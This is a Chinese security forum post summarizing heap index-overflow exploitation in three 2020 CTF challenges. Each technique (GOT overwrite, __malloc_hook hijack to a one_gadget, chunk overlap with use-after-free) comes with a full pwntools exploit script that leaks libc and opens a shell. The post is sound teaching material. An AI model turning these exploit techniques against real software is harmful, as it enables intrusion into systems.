安全矩阵

 找回密码
 立即注册
搜索
查看: 892|回复: 0

【技术分享】堆中index溢出类漏洞利用思路总结

[复制链接]

180

主题

231

帖子

1178

积分

金牌会员

Rank: 6Rank: 6

积分
1178
发表于 2022-10-3 12:03:26 | 显示全部楼层 |阅读模式

【技术分享】堆中index溢出类漏洞利用思路总结

01
写在前面被问到这个问题,突然就意识到好像只能想到一个改got表的思路,有点丢人emmmm
于是做个总结,如果还有遗漏,欢迎大佬在评论区指出,我会在后续文章完善。

02
越界篡改GOT表
  • 适用情形
  • 题目没有开启FULL RELRO保护。
  • 程序有可用GOT表项。

以 2020-CISCN-摩尔庄园的记忆 为例
我是本题的出题人,本题理论上应当用于2020年全国大学生信息安全竞赛,但是不知为何此题未出现,本题将会后续更新到我的Github,需要的同学可以自取~
程序保护
  1. Arch:     amd64-64-little
  2. RELRO:    Partial RELRO
  3. Stack:    Canary found
  4. NX:       NX enabled
  5. PIE:      PIE enabled
复制代码

程序分析
程序提供了四个功能:
  • 用户指定一个index,随后在chunk_list[index]下分配一个10 ~ 1010之间大小的chunk然后读入内容。(此处是窝写的有问题,本来是想限制在10 ~ 1000的,所以会有1%的概率分配chunk失败导致程序退出。)
  • free掉指定位置的chunk,并将对应指针清空,对应内存位置零。
  • 可以修改任意一个chunk的前0x10个字节。
  • 打印指定chunk的内容。

漏洞分析
四个功能都存在index溢出的问题,我们可以利用负数访问到非法内存。
再加上程序没有开启FULL RELRO,因此我们可以直接篡改GOT表完成利用。
漏洞利用寻找可利用指针
首先我们我们需要寻找一个可控指针以用来任意地址读写,经过查看内存
发现有一个地址处形成了一个循环指针,这个位置的index是chunk_list - 12,我们就利用此处指针。
泄露可利用指针地址
  1. creat(sh,1,'Chunk')
  2. delete(sh,1)
  3. show(sh,-12)
  4. useful_point_addr = get_address(sh=sh,info='THIS IS A USEFUL POINT VALUE : ',start_string='| [lahm\'s name] > ',end_string='\n--')
复制代码

泄露 Libc 地址接下来我们将那个循环指针指向GOT表内的函数,以泄露Libc地址
  1. edit(sh,-12,p64(useful_point_addr - 0x88))
  2. show(sh,-12)
  3. libc.address = get_address(sh=sh,info='GLIBC ADDRESS : ',start_string='| [lahm\'s name] > ',end_string='\n--',offset=-libc.symbols['free'])
复制代码

劫持GOT表,完成利用
我们接下来将free@GOT篡改为system,然后利用free函数触发即可。
Final Exploit
  1. from pwn import *
  2. import traceback
  3. import sys
  4. context.log_level='debug'
  5. context.arch='amd64'
  6. # context.arch='i386'

  7. Moles_world=ELF('./Moles_world', checksec = False)

  8. if context.arch == 'amd64':
  9.     libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
  10. elif context.arch == 'i386':
  11.     try:
  12.         libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
  13.     except:
  14.         libc=ELF("/lib32/libc.so.6", checksec = False)

  15. def get_sh(Use_other_libc = False , Use_ssh = False):
  16.     global libc
  17.     if args['REMOTE'] :
  18.         if Use_other_libc :
  19.             libc = ELF("./", checksec = False)
  20.         if Use_ssh :
  21.             s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
  22.             return s.process("./Moles_world")
  23.         else:
  24.             return remote(sys.argv[1], sys.argv[2])
  25.     else:
  26.         return process("./Moles_world")

  27. def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
  28.     if start_string != None:
  29.         sh.recvuntil(start_string)
  30.     if int_mode :
  31.         return_address = int(sh.recvuntil(end_string,drop=True),16)
  32.     elif address_len != None:
  33.         return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
  34.     elif context.arch == 'amd64':
  35.         return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
  36.     else:
  37.         return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
  38.     if offset != None:
  39.         return_address = return_address + offset
  40.     if info != None:
  41.         log.success(info + str(hex(return_address)))
  42.     return return_address

  43. def get_flag(sh):
  44.     sh.sendline('cat /flag')
  45.     return sh.recvrepeat(0.3)

  46. def get_gdb(sh,gdbscript=None,stop=False):
  47.     gdb.attach(sh,gdbscript=gdbscript)
  48.     if stop :
  49.         raw_input()

  50. def creat(sh,index,value):
  51.     sh.recvuntil('| [now] >')
  52.     sh.sendline('G')
  53.     sh.recvuntil('| [lahm\'s index] > ')
  54.     sh.sendline(str(index))
  55.     sh.recvuntil('| [lahm\'s name] > ')
  56.     sh.send(value)

  57. def edit(sh,index,value):
  58.     sh.recvuntil('| [now] >')
  59.     sh.sendline('R')
  60.     sh.recvuntil('| [lahm\'s index] > ')
  61.     sh.sendline(str(index))
  62.     sh.recvuntil('| [lahm\'s name begin ten char] > ')
  63.     sh.send(value)

  64. def show(sh,index):
  65.     sh.recvuntil('| [now] >')
  66.     sh.sendline('S')
  67.     sh.recvuntil('| [lahm\'s index] > ')
  68.     sh.sendline(str(index))

  69. def delete(sh,index):
  70.     sh.recvuntil('| [now] >')
  71.     sh.sendline('A')
  72.     sh.recvuntil('| [lahm\'s index] > ')
  73.     sh.sendline(str(index))

  74. def Attack(sh=None,ip=None,port=None):
  75.     if ip != None and port !=None:
  76.         try:
  77.             sh = remote(ip,port)
  78.         except:
  79.             return 'ERROR : Can not connect to target server!'
  80.     try:
  81.         # Your Code here
  82.         creat(sh,0,'/bin/sh\x00')
  83.         creat(sh,1,'Chunk')
  84.         delete(sh,1)
  85.         show(sh,-12)
  86.         useful_point_addr = get_address(sh=sh,info='THIS IS A USEFUL POINT VALUE : ',start_string='| [lahm\'s name] > ',end_string='\n--')
  87.         edit(sh,-12,p64(useful_point_addr - 0x88))
  88.         show(sh,-12)
  89.         libc.address = get_address(sh=sh,info='GLIBC ADDRESS : ',start_string='| [lahm\'s name] > ',end_string='\n--',offset=-libc.symbols['free'])
  90.         edit(sh,-12,p64(libc.symbols['system']))
  91.         delete(sh,0)
  92.         # get_gdb(sh,stop=True)
  93.         sh.interactive()

  94.         get_gdb(sh,stop=True)
  95.         sh.interactive()
  96.         flag=get_flag(sh)
  97.         # try:
  98.         #     Multi_Attack()
  99.         # except:
  100.         #     throw('Multi_Attack_Err')
  101.         sh.close()
  102.         return flag
  103.     except Exception as e:
  104.         traceback.print_exc()
  105.         sh.close()
  106.         return 'ERROR : Runtime error!'

  107. if __name__ == "__main__":
  108.     sh = get_sh()
  109.     flag = Attack(sh=sh)
  110.     log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
复制代码

利用方式总结
此种利用方式就是利用了index可控,进而在.text段的.got区域分配chunk,进而控制GOT指针后完成利用的方式。

03
越界任意写全局变量
  • 适用情形
程序中可以向chunk_list指针附近写入值。
  • 以 2020-QWB-Just_a_Galgame 为例
程序保护
  1. Arch:     amd64-64-little
  2. RELRO:    Full RELRO
  3. Stack:    No canary found
  4. NX:       NX enabled
  5. PIE:      No PIE (0x400000)
复制代码

程序分析
程序提供了5个功能:
  • 申请一个大小为0x68大小的Chunk。(上限申请6个)
  • 向指定的Chunk进行一次越界写,即,向该chunk + 0x60的位置写入0x10个字节。(上限1次)
  • 申请一个0x1000大小的Chunk,在那之后,增加一次越界写次数。(上限1次)
  • 依次打印所有Chunk的内容。(无上限次数)
  • 当且仅当输入No bye!时,退出程序。

漏洞分析
此题没有提供任何的free函数调用,可以利用越界写来构造Top Chunk,再利用House of Orange的思路来leak Libc。
然后,在edit处存在另一个漏洞
此处在越界写时,程序使用了atoi函数,同时也没有对我们输入的数字以及对转换后的数值进行任何形式的验证。
这将导致我们index越界的情况发生。
漏洞利用泄露libc
首先可以利用越界写来写Top Chunk的size字段
接下来申请一个大的chunk
现在,我们成功的向unsorted bin加入了chunk,接下来我们取回,即可泄露libc

  1. creat_small(sh)
  2. edit(sh,0,p64(0)+p64(0xf91))
  3. creat_big(sh)
  4. creat_small(sh)
  5. show(sh)
  6. libc.address = get_address(sh,info='LIBC ADDRESS IS => ',start_string='1: ',end_string='\n',offset=-0x3c5188)
复制代码

利用越界达成任意写
此处要利用bye函数处的漏洞,我们先在usr_want位置写入__malloc_hook - 0x60的值
  1. bye(sh,p64(libc.symbols['__malloc_hook'] - 0x60))
复制代码

然后利用edit函数即可写__malloc_hook为one_gadgat
  1. edit(sh,8,p64(libc.address + one_gadgets[3]))
复制代码

最后触发利用即可
Final Exploit
  1. from pwn import *
  2. import traceback
  3. import sys
  4. context.log_level='debug'
  5. context.arch='amd64'
  6. # context.arch='i386'

  7. Just_a_Galgame=ELF('./Just_a_Galgame', checksec = False)
  8. one_gadgets=[0x45226,0x4527a,0xf0364,0xf1207]

  9. if context.arch == 'amd64':
  10.     libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
  11. elif context.arch == 'i386':
  12.     try:
  13.         libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
  14.     except:
  15.         libc=ELF("/lib32/libc.so.6", checksec = False)

  16. def get_sh(Use_other_libc = False , Use_ssh = False):
  17.     global libc
  18.     if args['REMOTE'] :
  19.         if Use_other_libc :
  20.             libc = ELF("./", checksec = False)
  21.         if Use_ssh :
  22.             s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
  23.             return s.process("./Just_a_Galgame")
  24.         else:
  25.             return remote(sys.argv[1], sys.argv[2])
  26.     else:
  27.         return process("./Just_a_Galgame")

  28. def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
  29.     if start_string != None:
  30.         sh.recvuntil(start_string)
  31.     if int_mode :
  32.         return_address = int(sh.recvuntil(end_string,drop=True),16)
  33.     elif address_len != None:
  34.         return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
  35.     elif context.arch == 'amd64':
  36.         return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
  37.     else:
  38.         return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
  39.     if offset != None:
  40.         return_address = return_address + offset
  41.     if info != None:
  42.         log.success(info + str(hex(return_address)))
  43.     return return_address

  44. def get_flag(sh):
  45.     sh.sendline('cat /flag')
  46.     return sh.recvrepeat(0.3)

  47. def get_gdb(sh,gdbscript=None,stop=False):
  48.     gdb.attach(sh,gdbscript=gdbscript)
  49.     if stop :
  50.         raw_input()

  51. def creat_small(sh):
  52.     sh.recvuntil('>> ')
  53.     sh.send('1')

  54. def edit(sh,index,value):
  55.     sh.recvuntil('>> ')
  56.     sh.send('2')
  57.     sh.recvuntil('idx >> ')
  58.     sh.send(str(index))
  59.     sh.recvuntil('movie name >> ')
  60.     sh.send(value)

  61. def creat_big(sh):
  62.     sh.recvuntil('>> ')
  63.     sh.send('3')

  64. def show(sh):
  65.     sh.recvuntil('>> ')
  66.     sh.send('4')

  67. def bye(sh,value):
  68.     sh.recvuntil('>> ')
  69.     sh.send('5')
  70.     sh.recvuntil('\nHotaru: Won\'t you stay with me for a while? QAQ\n')
  71.     sh.send(value)

  72. def Attack(sh=None,ip=None,port=None):
  73.     if ip != None and port !=None:
  74.         try:
  75.             sh = remote(ip,port)
  76.         except:
  77.             return 'ERROR : Can not connect to target server!'
  78.     try:
  79.         # Your Code here
  80.         creat_small(sh)
  81.         edit(sh,0,p64(0)+p64(0xf91))
  82.         creat_big(sh)
  83.         creat_small(sh)
  84.         show(sh)
  85.         libc.address = get_address(sh,info='LIBC ADDRESS IS => ',start_string='1: ',end_string='\n',offset=-0x3c5188)

  86.         bye(sh,p64(libc.symbols['__malloc_hook'] - 0x60))
  87.         edit(sh,8,p64(libc.address + one_gadgets[3]))
  88.         creat_small(sh)
  89.         # get_gdb(sh,stop=True)
  90.         sh.interactive()
  91.         flag=get_flag(sh)
  92.         # try:
  93.         #     Multi_Attack()
  94.         # except:
  95.         #     throw('Multi_Attack_Err')
  96.         sh.close()
  97.         return flag
  98.     except Exception as e:
  99.         traceback.print_exc()
  100.         sh.close()
  101.         return 'ERROR : Runtime error!'

  102. if __name__ == "__main__":
  103.     sh = get_sh()
  104.     flag = Attack(sh=sh)
  105.     log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
复制代码



04
越界篡改chunk结构
  • 适用情形
  • 越界可以修改heap内的内容
  • 程序有index越界但是开启了全保护

以 2020-QWB-direct 为例程序保护

Arch:     amd64-64-littleRELRO:    Full RELROStack:    Canary foundNX:       NX enabledPIE:      PIE enabled程序分析
程序提供了5个功能:
  • 在用户指定的index(index < 0xF)处申请一个指定大小(0 <= size <= 0x100)的Chunk。
  • 在用户指定的Chunk_list[index] + offset处写入size - offset长度的值。
  • 释放指定的Chunk_list[index],并将指针以及size清除。
  • 调用opendir打开一个路径。
  • 调用readdir读取该路径下的所有目录进入点。

漏洞分析
在向chunk写入内容时,由于没有对offset做任何检查,因此可以越界修改上一个chunk的任意内容,那么我们就可以利用Off-by-one的思路构造Overlap完成利用。
漏洞利用篡改Size域,构造Heap Overlap
首先申请两个chunk,然后调用opendir打开一个路径,由于opendir的特性,将同步生成一个大小为0x8040的chunk

creat(sh,0,0x18)creat(sh,1,0x18)open_dir(sh)
⚠️:最上方的大小为0x250的chunk为scanf缓冲区,无视即可。
接下来,使用edit函数修改第一个chunk的size域为0x8080,进而构造heap Overlap。

edit(sh,0,-8,8,p64(0x8040 + 0x10 + 0x10 + 0x10 + 0x10 + 0x1))劫持DIR结构体,泄露libc基址
首先调用readdir函数初始化整个DIR结构体

get_dir(sh)
接下来将libc地址推到我们即将打印的位置上

creat(sh,0,0x18)creat(sh,3,0x78)
最后利用edit函数将7fe1处填充,以免截断即可完成libc的泄露

creat(sh,4,0x88)edit(sh,4,-8,8,"Libc--->")get_dir(sh)利用Use After Free完成最终利用
  1. delete(sh,1)
  2. edit(sh,3,0,8,p64(libc.symbols['__malloc_hook'] - 0x13))
  3. creat(sh,5,0x78)
  4. creat(sh,6,0x78)
  5. edit(sh,6,0,len('A'*0x13+p64(libc.address + one_gadgats[2])),'A'*0x13+p64(libc.address + one_gadgats[2]))
  6. creat(sh,7,0x78)
复制代码

Final Exploit
  1. from pwn import *
  2. import traceback
  3. import sys
  4. context.log_level='debug'
  5. context.arch='amd64'
  6. # context.arch='i386'

  7. direct = ELF('./direct', checksec = False)
  8. one_gadgats = [0x4f365,0x4f3c2,0x10a45c]

  9. if context.arch == 'amd64':
  10.     libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
  11. elif context.arch == 'i386':
  12.     try:
  13.         libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
  14.     except:
  15.         libc=ELF("/lib32/libc.so.6", checksec = False)

  16. def get_sh(Use_other_libc = False , Use_ssh = False):
  17.     global libc
  18.     if args['REMOTE'] :
  19.         if Use_other_libc :
  20.             libc = ELF("./", checksec = False)
  21.         if Use_ssh :
  22.             s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
  23.             return s.process("./direct")
  24.         else:
  25.             return remote(sys.argv[1], sys.argv[2])
  26.     else:
  27.         return process("./direct")

  28. def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
  29.     if start_string != None:
  30.         sh.recvuntil(start_string)
  31.     if int_mode :
  32.         return_address = int(sh.recvuntil(end_string,drop=True),16)
  33.     elif address_len != None:
  34.         return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
  35.     elif context.arch == 'amd64':
  36.         return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
  37.     else:
  38.         return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
  39.     if offset != None:
  40.         return_address = return_address + offset
  41.     if info != None:
  42.         log.success(info + str(hex(return_address)))
  43.     return return_address

  44. def get_flag(sh):
  45.     sh.sendline('cat /flag')
  46.     return sh.recvrepeat(0.3)

  47. def get_gdb(sh,gdbscript=None,stop=False):
  48.     gdb.attach(sh,gdbscript=gdbscript)
  49.     if stop :
  50.         raw_input()

  51. def creat(sh,index,chunk_size):
  52.     sh.recvuntil('Your choice: ')
  53.     sh.sendline('1')
  54.     sh.recvuntil('Index: ')
  55.     sh.sendline(str(index))
  56.     sh.recvuntil('Size: ')
  57.     sh.sendline(str(chunk_size))

  58. def edit(sh,index,offset,input_size,value):
  59.     sh.recvuntil('Your choice: ')
  60.     sh.sendline('2')
  61.     sh.recvuntil('Index: ')
  62.     sh.sendline(str(index))
  63.     sh.recvuntil('Offset: ')
  64.     sh.sendline(str(offset))
  65.     sh.recvuntil('Size: ')
  66.     sh.sendline(str(input_size))
  67.     sh.recvuntil('Content: ')
  68.     sh.sendline(value)

  69. def delete(sh,index):
  70.     sh.recvuntil('Your choice: ')
  71.     sh.sendline('3')
  72.     sh.recvuntil('Index: ')
  73.     sh.sendline(str(index))

  74. def open_dir(sh):
  75.     sh.recvuntil('Your choice: ')
  76.     sh.sendline('4')

  77. def get_dir(sh):
  78.     sh.recvuntil('Your choice: ')
  79.     sh.sendline('5')




  80. def Attack(sh=None,ip=None,port=None):
  81.     if ip != None and port !=None:
  82.         try:
  83.             sh = remote(ip,port)
  84.         except:
  85.             return 'ERROR : Can not connect to target server!'
  86.     try:
  87.         # Your Code here
  88.         creat(sh,0,0x18)
  89.         creat(sh,1,0x18)
  90.         open_dir(sh)
  91.         creat(sh,2,0x18)
  92.         edit(sh,0,-8,8,p64(0x8040 + 0x10 + 0x10 + 0x10 + 0x10 + 0x1))
  93.         delete(sh,0)
  94.         get_dir(sh)
  95.         creat(sh,0,0x18)
  96.         creat(sh,3,0x78)
  97.         creat(sh,4,0x88)
  98.         edit(sh,4,-8,8,"Libc--->")
  99.         get_dir(sh)
  100.         libc.address = get_address(sh,info='LIBC ADDRESS IS ',start_string='c--->',end_string='\n',offset=-0x3ebca0)
  101.         delete(sh,1)
  102.         edit(sh,3,0,8,p64(libc.symbols['__malloc_hook'] - 0x13))
  103.         creat(sh,5,0x78)
  104.         creat(sh,6,0x78)
  105.         edit(sh,6,0,len('A'*0x13+p64(libc.address + one_gadgats[2])),'A'*0x13+p64(libc.address + one_gadgats[2]))
  106.         creat(sh,7,0x78)
  107.         # get_gdb(sh,stop=True)
  108.         sh.interactive()
  109.         flag=get_flag(sh)
  110.         # try:
  111.         #     Multi_Attack()
  112.         # except:
  113.         #     throw('Multi_Attack_Err')
  114.         sh.close()
  115.         return flag
  116.     except Exception as e:
  117.         traceback.print_exc()
  118.         sh.close()
  119.         return 'ERROR : Runtime error!'

  120. if __name__ == "__main__":
  121.     sh = get_sh()
  122.     flag = Attack(sh=sh)
  123.     log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 12:54 , Processed in 0.016283 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表